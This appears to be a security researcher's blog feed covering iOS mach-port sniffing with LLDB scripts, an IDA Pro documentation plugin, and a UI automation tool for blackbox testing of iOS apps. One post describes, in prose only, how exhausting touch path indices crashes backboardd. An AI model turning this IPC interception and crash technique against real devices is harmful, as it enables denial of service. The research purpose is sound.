In an earlier post, I introduced CHAOTICMARCH - simple tool for simulating a user’s interaction with an App for blackbox testing. The tool worked well and has helped me a lot with testing. However, all was not well. Every now and then, too often for my comfort, the tool’s requests for touch were getting ignored. For example, CHAOTICMARCH would find a button and try to click it. The event would get logged and the little circle would show up on the screen. However, the App would ignore the request as if nothing happened. This become very frustrating to me and I was determined to find the root cause. Investigating this behavior took me down a deep rabbit hole. To find my way out, I built LLDB scripts, learned about iOS IPC and read lots of code. With this post, I would like to share my insights, lessons and scripts.

Not so TL;DR;

iPhones are relatively small devices and, to provide a smooth user experience, Apple has to be really careful with task scheduling. Prioritized task queues are used for this. The queuing system is nicely explained in the Run, RunLoop, Run blog post by Nicolas Bouilleaud.

I had this missing touch problem to solve. After doing a lot of debugging and scripting, I eventually realized that the events were being ignored because the device was busy animating the fading circles. These circles are used by CHAOTICMARCH to show where the clicks have occurred. This theory was validated by reordering drawing and clicking events.

In the process of analyzing and debugging, I built a sniffer for mach ports - machshark. Then I found a mild bug in the simulate touch library that could be used to crash backboardd which will cause SpringBoard to restart.

The rest of this write up is about how I collected the mach messages and analyzed to confirm that the IPC mechanism is working as expected.

Where is the touch?

It’s important to note that the quick solution mentioned in TL;DR; was not obvious initially. So, the first thing I did was to start reversing the libsimulatetouch library. My hope was that the more I learn about the library internals the more I will understand its properties. The source is in the iolate/SimulateTouch repository.

There is a “client” side, which is the application that wants to trigger an event - such as /sbin/stouch, and there is the “server” side. The server side is the injected DYLIB within the backboardd process that actually generates the HID events on behalf of the client. The client library is the libsimulatetouch.dylib - implemented by STLibrary.mm and the server is SimulateTouch.dylib mobile substrate library - implemented by SimulateTouch.mm.

The communications between the client and the server are via mach ports, the goto IPC mechanism of iOS and OS X. In concept, mach ports are very basic. A message is sent on a port object (something like a socket), a receiver on the other side responds on the same port. Very similar to UDP with an added benefit of being synchronous. When mach_msg function returns, the response will be in the client supplied response buffer. The basic mach_msg function is quite primitive and requires quite a lot of infrastructure to use properly. So, it’s natural that there are several higher level IPC abstractions built on top of this mechanisms. Ian Beer does a great job summarizing them in his Auditing and Exploiting Apple IPC talk.

Last thing about these mach messages. Services like the touch server will start listing ports which clients could look up via bootstrap_lookup function calls. They work similar to DNS where the client specifies a name and receives a numeric port value. The touch library specifically uses the CFMessagePort abstraction for IPC which is explained very nicely in the Interprocess communication on iOS with Mach messages blog post by Damien DeVille. The libsimulatetouch client library uses the CFMessagePortSendRequest function to send messages to the server side.

Sniffing the IPC

The problem we are trying solve is the mystery of why touch events have been disappearing. My first intuition was that perhaps these port messages were not getting to the server for some reason. Probably not because the kernel was messing up. But, likely because either the client wasn’t sending the messages or the server wasn’t processing them. So, I’ve decided to sniff the messages in the same way that I would with network traffic. After much googling, I found almost nothing for sniffing mach messages except for an old blog post about mach_shark which unfortunately was not released (and, on the last check the blog site was down – here’s a web archive link).

What are we looking for?

What I’m looking for are the the messages that are sent to a port by name kr.iolate.simulatetouch. These messages have the following structure:

typedef enum {  // sent as part of the 'type' field below
    STTouchMove = 0,
    STTouchDown,
    STTouchUp,

    // For these types, (int)point_x denotes button type
    STButtonUp,
    STButtonDown
} STTouchType;

typedef struct {
    int type;       // STTouchType values (Up, down, move, etc)
    int index;      // pathIndex holder in message
    float point_x;  // X coordinate
    float point_y;  // Y coordinate
} STEvent;

Super simple messages! Just 16 bytes long. As we mentioned earlier, each call to send a message returns with a response. The response for each of the client’s request will be an integer which gives the path index. The path index is used to identify one continuous touch sequence. For example, if I request a touch DOWN, I will get an ID. Then I will use this ID to issue a touch UP which could be at a different location. The size of the response message is four bytes. The path index in necessary to support multi-finger capability i.e. a pinch zoom.

The message processing pattern is very simple, SimulateTouch.mm:

static CFDataRef messageCallBack(CFMessagePortRef local, 
                                 SInt32 msgid, 
                                 CFDataRef cfData, 
                                 void *info)
{
   ...
   int pathIndex = touch->index;
   
   if (pathIndex == 0) {
        pathIndex = getExtraIndexNumber();
   }
   
   SimulateTouchEvent(port, pathIndex, touch->type, POINT(touch));
   
   ...             
   
   return (CFDataRef)[[NSData alloc] initWithBytes:&pathIndex 
                                     length:sizeof(pathIndex)];
   
   ...
}

...

CFMessagePortRef local = CFMessagePortCreateLocal(NULL, 
                            CFSTR(MACH_PORT_NAME), 
                            messageCallBack, NULL, NULL);

...

CFRunLoopSourceRef source = CFMessagePortCreateRunLoopSource(
                                  NULL, local, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), 
                   source, kCFRunLoopDefaultMode);

...

The server which is a library that is injected into backboardd will start a local port and register a name to the port. Then it will use the CF abstraction to specify a callback function for the messages it receives. Once a message is received, the server will trigger the event then it will allocate a path index and return that number to the client. The client will be blocked until the message is returned. Quite a simple and common pattern for processing messages.

Tangent: The bug

Let’s go on a little tangent. While analyzing this code, I noticed that there is a bug in the path index allocation procedure. getExtraIndexNumber function works in a funny way.

static int getExtraIndexNumber()
{
    int r = arc4random()%14;
    r += 1; //except 0
    
    NSString* pin = Int2String(r);
    
    if ([[STTouches allKeys] containsObject:pin]) {
        return getExtraIndexNumber();
    }else{
        return r;
    }
}

The function will get a random number between zero and thirteen, inclusive. If that path was already allocated, the function will attempt to get another number, randomly (!), by calling itself recursively. Who does that?! Maybe, this is just some remnants of old code.

Basically, this means that if I call a whole bunch of touch down events, I can allocate all fourteen paths and getExtraIndexNumber will be forced to run out of stack space as it looks for an unallocated path index. The impact is that backboardd will crash forcing SpringBoard to restart. I suppose you can call it a DoS attack, but the significance is so mild. In order to trigger this you’d have to be running within a process on a jailbroken device with the simulate touch library installed – if that code is malicious, you’ve got bigger problems to deal with than some crashed GUI service.

Finding the port

Moving on! The first thing we need to do is find the port number. Why do we need this number? Apps will usually use many ports. Particularly, GUI libraries are heavy users. So, knowing the port number isolates your collection to the messages you’re interested in. Also, every time the App runs, port numbers will be different. Even though the name remains the same, when the ports are created, the numbers are allocated dynamically. So, we need to know the mapping at runtime.

I prefer minimally intrusive methods of introspection. For that reason I’ve chosen to use LLDB. Setting up a debugging session on a JailBroken iPhone is not trivial. However, I will leave it as an exercise to the reader to follow the setup instructions found on the iPhoneWiki.

LLDB is a really great debugger. One of my favorite features is its Python API interface. Using this interface we are able to script the debugger to automatically process memory in the context of a breakpoint. Essentially, LLBD conveniently provides a method for automating the manual work of analyzing function inputs and outputs.

To find out the name to port number mapping, we’ll set a breakpoint on the look up functions. There are three functions: bootstrap_look_up which is a wrapper for bootstrap_look_up2. There is also bootstrap_look_up3 which looks to be a private function, but used by several libraries. So, we will try to break on the latter two.

# break on bootstrap_look_up2 start
bs_look2 = target.BreakpointCreateByName('bootstrap_look_up2', 
                        'libxpc.dylib')
bs_look2.SetScriptCallbackFunction(
                        'mach_sniff.rocketbootstrap_look_up')

# find the end of the function
for bp in bs_look2:
    insts = target.ReadInstructions(bp.GetAddress(), 100)
    first_ret = [i.GetAddress().GetLoadAddress(target) 
                  for i in insts if i.GetMnemonic(target) == 'ret']

    # Just look for the first RET instruction
    if(len(first_ret) > 0):
        bs_look2_end = target.BreakpointCreateByAddress(
                                                   first_ret[0])
        bs_look2_end.SetScriptCallbackFunction(
                        'mach_sniff.rocketbootstrap_look_up_end')

        print bs_look2_end

We don’t need to break on bootstrap_look_up because bootstrap_look_up2 is enough, the former is a wrapper for the latter. You can see the source code for those functions on Apple Open Source.

# set on rocket if available, otherwise regular crashes.
bs_look3 = target.BreakpointCreateByName('rocketbootstrap_look_up', 
                        'librocketbootstrap.dylib')
if(not bs_look3.IsValid()):
    bs_look3 = target.BreakpointCreateByName('bootstrap_look_up3', 
                         'libxpc.dylib')

bs_look3.SetScriptCallbackFunction(
                        'mach_sniff.rocketbootstrap_look_up')

# look for the end of function
for bp in bs_look3:
    insts = target.ReadInstructions(bp.GetAddress(), 200)
    first_ret = [i.GetAddress().GetLoadAddress(target) 
                  for i in insts if i.GetMnemonic(target) == 'ret']

    if(len(first_ret) > 0):
        bs_look3_end = target.BreakpointCreateByAddress(
                                                  first_ret[0])
        bs_look3_end.SetScriptCallbackFunction(
                         'mach_sniff.rocketbootstrap_look_up_end')

        print bs_look3_end

We also want to break on bootstrap_look_up3, however something about how breakpoints work and how librocket_bootstrap hooks the function clashes with catastrophic results. So, to handle this use case we just support breaking on the rocket_bootstrap version which is rocketbootstrap_look_up.

In both cases we set a handler function that will analyze the function parameters to extract the name and look for the user specified port name. mach_sniff.rocketbootstrap_look_up is used for the start of the function and mach_sniff.rocketbootstrap_look_up_end for the end. The first will analyze the parameters and initiate the state. Then the second function will close the state and report the mapping to the user and follow on functions (i.e. sniffing on the messages).

Once the breakpoints for the look up function begins and ends are set, it becomes pretty easy to track port numbers and names. When the look up is first called, registers X1 and X2 point to the name and the return buffer, respectively. So, all we have to do is save off those values. We create a state at the start of the function and look it up at the end of the function to create the mapping.

look_up_states = {}

def rocketbootstrap_look_up(frame, bp_loc, dict):
    tid = thread.GetThreadID()

    # name of port to be looked up
    x1_name = long(registers[0].GetChildAtIndex(1).GetValue(), 16)

    # destination of the port number
    x2_ret_addr = long(registers[0].GetChildAtIndex(2).GetValue(), 16)

    error = lldb.SBError()
    port = process.ReadCStringFromMemory(x1_name, 256, error)
    if error.Success():
        if(port == port_name):
            # create state if it's the port we are looking for
            look_up_states[tid].append({
                'port': port,
                'ret_addr': x2_ret_addr
            })
    else:
        print 'port name error: ', error

At the end of the function we look up the state information by thread ID and match up the name with the port number.

def rocketbootstrap_look_up_end(frame, bp_loc, dict):
    tid = thread.GetThreadID()
    
    # logically confirms that the name matched to the port we want to sniff
    if(tid in look_up_states):
        state = look_up_states[tid].pop()

        error = lldb.SBError()

        # read port number from the return buffer
        port_id = process.ReadUnsignedFromMemory(state['ret_addr'], 4, error)

        if error.Success():
            print "FOUND PORT: %s=%x" % (state['port'], port_id)

            # start sniffing for messages on this port.
            if(len(look_up_states[tid]) == 0):
                start_sniff_port(debugger, port_id)
        else:
            print 'port id error: ', error
    else:
        print "end with no state"

Once we find the port name and number we are interested in, we initiate the sniffing mechanisms. Keeping the port number finding and sniffing of the messages separate is nice because it allows the user to potentially sniff on just a port number rather than by name - especially in the case where we miss the look up calls before the debugger is attached.

Sniffing the mach messages

To find the messages of interest is the same basic process as finding ports - we just need the port number. Initially, I wanted to get all the messages and then do post processing to filter out only the ones I’m interested in. However, breakpoints are expensive and the App would run beyond slow! So, it became necessary to only sniff on the ports of interest.

To be selective on the port we have to specify a breakpoint condition. This condition will check that register X0 contains our port number. Doing this is still expensive but it sped things up to a reasonable threshold.

def start_sniff_port(debugger, port_number):
    target = debugger.GetSelectedTarget()

    msg_bp = target.BreakpointCreateByName('mach_msg', 
                                 'libsystem_kernel.dylib')

    msg_bp.SetScriptCallbackFunction('mach_sniff.print_mach_msg')
    msg_bp.SetCondition("*(uint32_t*)($x0 + 8) == %d" % port_number)

Our breakpoint is set on the mach_msg function in the libsystem_kernel.dylib library. This function is a wrapper for the actual system call. Although, it does a little more than just pass through the parameters.

def print_mach_msg(frame, bp_loc, dict):
    tid = thread.GetThreadID()

    x0_data = long(registers[0].GetChildAtIndex(0).GetValue(), 16)
    x1_opt = registers[0].GetChildAtIndex(1).GetValue()
    x2_len = long(registers[0].GetChildAtIndex(2).GetValue(), 16)
    x3_recv_len = long(registers[0].GetChildAtIndex(3).GetValue(), 16)
    x4_recv_name = long(registers[0].GetChildAtIndex(4).GetValue(), 16)
    x5_timeout = long(registers[0].GetChildAtIndex(5).GetValue(), 16)
    x5_notify = long(registers[0].GetChildAtIndex(6).GetValue(), 16)

    output = {
        'type': 'msg_send_start',
        'time': int(time.time()*1000),
        'frame': str(frame),
        'tid': tid,
        'send_msg_size': x2_len,
        'recv_msg_size': x3_recv_len,
        'msg_options': x1_opt,
        'rcv_name': x4_recv_name,
        'timeout': x5_timeout,
        'notify': x5_notify
    }

    data = None

    if(x2_len > 0):
        err = lldb.SBError()
        data = process.ReadMemory(x0_data, x2_len, err)

        output['msg'] = binascii.hexlify(data)

    output = json.dumps(output)
    output_file.write(output)
    output_file.write('\n')

    print output

On each message send call for our port of interest we collect information from the registers and record the data into a file for later processing. In this case we just take the buffer at X0 and read the amount of bytes specified in X2 which is the length of the buffer. Other data is recorded as well but we’ll find its usefulness sometime later.

Each entry of the output file will look like this:

{"frame": "frame #0: 0x0000000197054c40 
           libsystem_kernel.dylib`mach_msg", 
 "tid": 135127, 
 "notify": 0, 
 "msg_options": "0x0000000000000011", 
 "rcv_name": 0, 
 "recv_msg_size": 0, 
 "send_msg_size": 76, 
 "timeout": 1000, 
 "time": 1471562568339, 
 "msg": "131500004c0000001b6c00000bc20000000
         00000010000000000000000000000000000
         000000000000000000f8f4f2f0010000000
         10000001000000001000000000000000080
         2f430000f041", 
 "type": "msg_send_start"}

In essence each line is a JSON record of the arguments to the mach_msg function. Kind of like strace.

Making sense of it all

Recording the messages is just the first step. We also need to be able to understand them. Not surprisingly, they are layered in a similar way as network protocols. This is due to the various abstractions available to provide IPC mechanisms. As I mentioned earlier, the use case of the libsimulatetouch uses CF for their abstraction.

The first part is easy, it’s just a standard message header for all mach messages:

typedef struct
{
       mach_msg_bits_t          msgh_bits;
       mach_msg_size_t          msgh_size;
       mach_port_t       msgh_remote_port;
       mach_port_t        msgh_local_port;
       mach_msg_size_t      msgh_reserved;
       mach_msg_id_t              msgh_id;
} mach_msg_header_t;

This takes up 24 bytes of the message. Next is the header for __CFMessagePortMachMessage which comes with a nice magic four byte marker - 0xF0F2F4F8 - to help us identify the message.

struct __CFMessagePortMachMessage {
    mach_msg_base_t           base;
    mach_msg_ool_descriptor_t  ool;

    struct innards {
        int32_t    magic;
        int32_t    msgid;
        int32_t   convid;
        int32_t byteslen;
        uint8_t bytes[0];
    } innards;
};

After that, the bytes are just the message generated by the touch library. That message is 16 bytes:

typedef struct {
    int type;       // STTouchType values (Up, down, move, etc)
    int index;      // pathIndex holder in message
    float point_x;  // X coordinate
    float point_y;  // Y coordinate
} STEvent;

All said and done, the entire message sent via mach_msg is 76 bytes long. Once parsed the message looks something like this:

{ '_payload': [ { 'ool_address': '0x0',
                  'ool_bytes': '0000000000000000',
                  'ool_copy': 0,
                  'ool_deallocate': 0,
                  'ool_pad1': 0,
                  'ool_size': '0x0',
                  'ool_type': 0},
                { 'inards_byteslen': '0x10',
                  'inards_convid': '0x12',
                  'inards_magic': '0xf0f2f4f8',
                  'inards_msgid': '0x1'},
                { 'index': 6, 
                  'point_x': 312.5, 
                  'point_y': 551.5, 
                  'type': 2}],
  'msgh_bits': 5395,
  'msgh_id': 1,
  'msgh_local_port': '0xc20b',
  'msgh_remote_port': '0x6c1b',
  'msgh_reserved': 0,
  'msgh_size': 76}

As you can see the coordinates and the type of touch are clearly visible and traceable. This is what I used to confirm that my touch events were sent as expected to the server side - backboardd.

LLDB is quite a heavy tool. I chose it because I wanted minimal intrusion into the client process. However, as we saw earlier, with breakpointing on the bootstrap_look_up3, that is not entirely the case. There are other tools available to the reader. One can build a MobileSubstrate injectable library and hook on all those function using the method I previously described in Tracing Objective-C method calls post.

It’s hard to talk about function tracing without mentioning Frida. It is an excellent tool for dynamic analysis. It can enable the user to hook all the required functions. I decided not to use it because, like the first alternative method I mentioned, Frida will modify the binary in memory to implement the hooks. These hooks could potentially clash with the RocketBootstrap library and anything else that modifies the binary dynamically. Also, for some reason, I could not get it to reliably hook the mach_msg function for me - maybe a post for the future.

Conclusion

Debugging is a bit of an art form which can send you down very deep and sometimes interesting rabbit holes. In this case I followed the rabbit hole to the bottom because I thought the outcome will be a good learning experience and the output will be useful in the future.

Debugging is an art form because one cannot see everything they want to see and the tools used for inspection are themselves faulty. So, it takes experience and good intuition to know what to look for and how to interpret the view. Much of the process is just validating the data flow, reassuring yourself that parts are working correctly. It is the hope that in that process one can learn more about the target which will help to narrow down on the problem. Here, I show my process for a specific use case and provide the tools to build upon or learn from.

A little something for your reversing habits.

Sat, 18 Jun 2016 00:00:00 +0000

I’m a big fan of binary reverse engineering. I think it’s a unique skill to have and it creates an interesting way of thinking. The way of thinking that forces you to figure out how things work, even if you’re trying to enjoy some iced tea on the beach. Most of my reversing life has been spent on either x86_64 or ARM64 architectures. I would even go as far as to claim that I know those instruction sets well. However, every now and then I come across a strange looking instruction - like UNPCKLPS, I have to break my flow open the Intel Reference manual and look up the instruction’s meaning. Same for when I’m trying to understand semantics of a very common instruction. For example, SUB can be used atomically if it has the LOCK prefix set - not a detail that comes up often.

A reverse engineer quickly learns to maintain their flow at all costs. Breaking the flow means that the mental representation of the problem breaks down into swiss cheese and makes it ever more difficult to comeback to everything you understood before the break. If you are using IDAPro and you have to break your flow in order to search some PDF document, then that makes life ever more difficult. And so, I built a plugin for IDAPro that removes this problem. It is called IdaRef. What it does is bring the complete instruction set documentation into the IDAPro environment.

Now, IDAPro already provides an auto comments feature. It’s fine, but the feature is a mere translation of the mnemonic into English text. I wanted more. Actually, I got my inspiration from the x86doc which popped up on /r/netsec some time ago. My desire to have full documentation got me thinking: why I can’t I use the same method of parsing the reference manual to integrate it into IDAPro. I wanted not just a re-interpretation, but the original content from the authoritative source.

Releasing IdaRef to the public produced some resonance in the community and several people really liked it. Since that time, I cleaned it up a little more, made it more responsive and even received some nice words from the IDAPro plugin competition (although no prize).

The best part, about releasing to the public, is what the open source community is good at. Several people stepped up and contributed to the plugin and the concept. Chris Czub created a port for Hopper called HopperRef, Sven337 added support for xtensa architecture and Duncan Ogilvie ported it to the x64dbg project. This sort of activity is extremely encouraging for continuing to develop tools that help us do good things. I would like to encourage more people to contribute, particularly more SQL files for supporting more architectures. Generating clean ASCII documentation files is not a trivial task but the result can be used in many different places.

Recently, I developed an open source technique for hooking ARM64 functions on Objective-C applications. It was meant specifically for tracing Objective-C method calls because the technique hooked the objc_msgSend function. There is one piece of the mechanism that was very tricky. It was to modify the branch instructions at runtime to recalculated addresses.

In order to accurately parse and understand the branch instructions, I reversed a few binaries to look at them. I also opened the Objective-C runtime to see the implementation of objc_msgSend function and check exactly which branch instructions were used. It turned out that the PDF to ASCII translation was good enough that I could use the instruction bit placement documentation (as you see in the image above) to write the bit field structs accurately in the hooking implementation.

Enjoy your reversing experience and I hope that IdaRef will help you get more proficient and faster with your art!

Automating the UI for blackbox testing

Sat, 26 Mar 2016 00:00:00 +0000

During blackbox security testing, it is often the case that you need to explore the application. Mostly to understand what it does and what sort of interactions it has with the outside world. It is also a good way to determine what code a user might end up exercising during their use of the application. In case of iOS, most of the App activity will be user triggered and the other parts will be things like polling of the web api for changes. Either way, the App’s activity and any potential vulnerabilities are largely triggered by the user.

In this post I introduce CHAOTICMARCH (CM), an engine for driving the UI while doing blackbox testing of an iOS App. CM is a scriptable engine that comes with some basic scripts to locate and trigger buttons. It gives the researcher the freedom to define their own logic for however they wish to perform the test.

I would like to encourage researchers to develop and submit their own logic, so that the community could have a knowledge base for general and specific testing of iOS Apps. Together, we could truly build up an amazing set of automated tests that would be transferable between versions or even applications. A large base would enable us to track changes and keep tests as thorough as possible.

The source code and the user manual is located at the CHAOTICMARCH GitHub repository. The code is, of course, still in very early stages, but it is very stable and will be extended in the near future. Also we can utilize objc_trace (or similar) tool to gather code coverage information. objc_trace records the Objective-C functions that have been executed, similar to the functionality of ltrace.

iOS UI Constructs

At the low levels, the UI on iOS is actually quite simple. Basically all of the components stem from the UIView base class and are organized as a tree rooted at UIApp.keyWindow. To access the children you would use the subviews array available at each component:

cy# UIApp.keyWindow.subviews
@[#"<UIView: 0x14552a690; frame = (0 0; 320 568); autoresize = W+H; 
  layer = <CALayer: 0x174037d80>>",
  #"<UIView: 0x145699a50; frame = (39.5 327.5; 40 40); 
  clipsToBounds = YES; alpha = 0; layer = <CALayer: 0x17022eb20>>"]

This is the abstract representation which is then used to draw components on the screen. You can also list the entire UI tree for examination by using Cycript. Cycript is a scriptable inspection tool that lets users analyzer the internal state of the App. It can be installed using the Cydia appstore. This appstore is installed by any of the popular Chinese jailbreaks. Pangu or Taig are the current front runners. The UI tree we will be dealing with looks like this:

cy# UIApp.keyWindow .recursiveDescription
@"<UIWindow: 0x1456209f0; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x170053560>; layer = <UIWindowLayer: 0x170033de0>>
   | <UIView: 0x14552a690; frame = (0 0; 320 568); autoresize = W+H; layer = <CALayer: 0x174037d80>>
   |    | <_UILayoutGuide: 0x14553cdf0; frame = (0 0; 0 20); hidden = YES; layer = <CALayer: 0x17403fac0>>
   |    | <_UILayoutGuide: 0x14553d280; frame = (0 568; 0 0); hidden = YES; layer = <CALayer: 0x17422ac60>>
   |    | <UITableView: 0x145858e00; frame = (0 0; 320 568); clipsToBounds = YES; opaque = NO; autoresize = W+H; gestureRecognizers = <NSArray: 0x170241500>; layer = <CALayer: 0x17003df20>; contentOffset: {0, 0}; contentSize: {320, 867.5}>
   |    |    | <UITableViewWrapperView: 0x145638c30; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x1702418c0>; layer = <CALayer: 0x17003fbe0>; contentOffset: {0, 0}; contentSize: {320, 568}>
   |    |    |    | <UITableViewCell: 0x145634f00; frame = (0 553.5; 320 44); text = 'Transport Layer Security'; autoresize = W; layer = <CALayer: 0x17003d6c0>>
   |    |    |    |    | <UITableViewCellContentView: 0x145635250; frame = (0 0; 286 44); opaque = NO; gestureRecognizers = <NSArray: 0x174249e10>; layer = <CALayer: 0x17003d660>>
   |    |    |    |    |    | <UITableViewLabel: 0x145635370; frame = (16 0; 269 44); text = 'Transport Layer Security'; clipsToBounds = YES; opaque = NO; layer = <_UILabelLayer: 0x170099e60>>

Of course, the tree above is cut off - but you get the idea. This example comes from the DamnVulnerableApp UI. The full tree goes on for several pages and has a similar repeating pattern. At this point I would like to thank Objective-C for providing us with so much metadata in the binary. We will be using this to develop our automation mechanisms.

Scripting a click around

Without going into too many details, we want to click on buttons, fill in forms and swipe scrollable things. However, this means that we need to be able to accurately detect buttons, forms and swipable areas. Swiping is harder but buttons and forms are actually relatively easy. We simply have to choose components that qualify as such items. For example, buttons are selected as follows:

-- Basically anything we might consider clickable
local buttons = findOfTypes("UIButton", "UINavigationItemButtonView", 
    "UINavigationItemView", "_UIAlertControllerActionView", 
    "UISegmentLabel", "UILabel", "")

This code is found as part of the getButton function in post_all-common.lua. Please read the repository README for details about how the LUA scripts are structured and loaded. This code is loaded for all apps as a library that you could use. The function will return a LUA map of a button description. A button map looks like this:

{
	"x": [x - coordinate, top-left corner],
	"y": [y - coordinate],
	"width": [number],
	"height": [number],
	"text": [best guess at text of the button]
}

The findOfTypes function returns a LUA array i.e. number keyed map, of the button description maps. The getButton function will look for the button that hasn’t been clicked yet. This click state is passed to the getButton function. The state is a map that should be maintained by the user. Once a button has been clicked, the user should enter a key of the button text into the state map.

We use this while loop in post_all-click_around.lua script to exercise the various buttons on the screen. The process is really quite simple. Here’s a reduced size code that accomplishes just what we want.

while (attempts > 0) do
	local button = getButton(clickedButtons)

	if(button ~= nil) then
		click_button(button)

		if(button["text"] ~= nil) then
			clickedButtons[button["text"]] = 1
		end
	else
		-- check to make sure we are not in alert
		check_alert()

		if(waitTime == 0) then
			-- do a reset and maybe try again
		else
			-- wait less
			waitTime = waitTime - 1
		end
	end
end

On the high level, it iterates across various clickable things and enters them into the state to prevent repetition. After a button is clicked, the loop will wait some time to let the App react. Then it will look for another button. The process is very predictable and reproducible. With this mechanism it would be possible to build more complex logic, although at the moment we don’t have a way of reading the meaning of an image button.

The click_button function is actually built on top of touchDown and touchUp mechanisms. The touch functions use the SimulateTouch library to generate touch events which in tern simulates button click events. The function will also draw a circle on the screen to indicate where CHAOTICMARCH has clicked. This is just a convenience measure to show where the script has clicked.

function click_button(button)
    local x = button["x"] + math.floor((button["width"]/2))
    local y = button["y"] + math.floor((button["height"]/2))

    showCircle(0, x, y, 20);

    touchDown(0, x, y)
    usleep(100000)
    touchUp(0, x, y)

    hideCircle(0);
end

Now, because we are polling the screen for buttons every iteration we might end up in a situation where there are no buttons. However, it may be because the user is seeing an alert box. Such boxes are still within the App UI tree but do not really contain buttons. So, the check_alert function will look for labels that match expected text such as “Ok”. It will click that text in the hopes of getting rid of the alert box. This doesn’t always work and can definitely be made more accurate. However, it covers many use cases.

Once there are no buttons left, we wait for a minute or so. This is done using the waitTime variable in the main loop. It is a count down variable, which along with the sleep at every loop iteration creates a wait interval. This is where the researcher gets a chance to assist the engine and go somewhere new or for the App to react and change it’s interface.

Demonstration

What’s a tool without a video demo? So, let’s have a look at how it performs with a simple application. This particular App is mostly just a wrapper around a webview. The webview will perform most of the heavy lifting, but there are still some UI components for us to interact with.

A demo speaks a thousand words. The culmination of everything we’ve talked about above is shown in this video. We take an App by HD Supplies and let CHAOTICMARCH have its way with the App. As you can see it detects many buttons and enters the text into the search box. Also, in this demo, I show the capability of replaying preprogrammed touch events. These events can be recorded using something like AutoTouch. If you use this tool to record touch events, then the output script will be directly compatible with CHAOTICMARCH.

Of course, it would be nice if the scripts are smarter in recognizing the semantics of the clickable and text field components. This is something we are still working on. Using LUA for this purpose makes things much simpler as we can focus on the logic rather than the mechanics.

Conclusion

We have introduced CHAOTICMARCH, a tool for automating blackbox testing of iOS Apps. The tool injects into a running application to query the UI and trigger events. The logic is driven by an automatically loaded LUA script. Once the UI is queried, the LUA script will decide which buttons to click and forms to fill in.

Using CHAOTICMATCH frees the researchers from having to manually explore the application. Also, it lets us, as a community, to build up a knowledge base of scripts to handle edge cases and come up with innovative algorithms to perform testing. In combination with other tools such as MITM Proxy and Objc_trace we can develop a decent coverage map of the App’s activity.

Technical Notes

Who moved my pixels?!

Conclusion

How does the capture work?

Detecting a screenshot

Malware

Building the grabber

Persistent XSS via image metadata

Vulnerability Details

Exploitation

The fix

Exploiting the HooToo TM6 router

Attack Usecases

Exploitation

Shellcode

The attack

Conclusion

References

HooToo TM6 vulnerabilities

TL;DR

Background

Stack overflow

Technical Details:

Exploitation

The Fix

Heap overflow

Technical Details:

Exploitation

Fix

Reporting to the vendor

Conclusion

References

Reverse Engineering of an Embedded Webserver

Locating the webserver

Finding the binary

MIPS Overview

Extracting the source

Finding functions

Discovering internal structures

Loading pattern

Session check

Conclusion

Protecting the digital nomad

Motivation

Previous work

Let’s get to work!

The firmware

Getting a debugger

Conclusion

Loading from memory

TL;DR;

Shellcode Compiler

The Technique

Conclusion

Some folks lost their touch

Not so TL;DR;

Where is the touch?

Sniffing the IPC

What are we looking for?

Tangent: The bug

Finding the port

Sniffing the mach messages

Making sense of it all

Related tools

Conclusion

A little something for your reversing habits.

Automating the UI for blackbox testing

iOS UI Constructs

Scripting a click around

Demonstration

Conclusion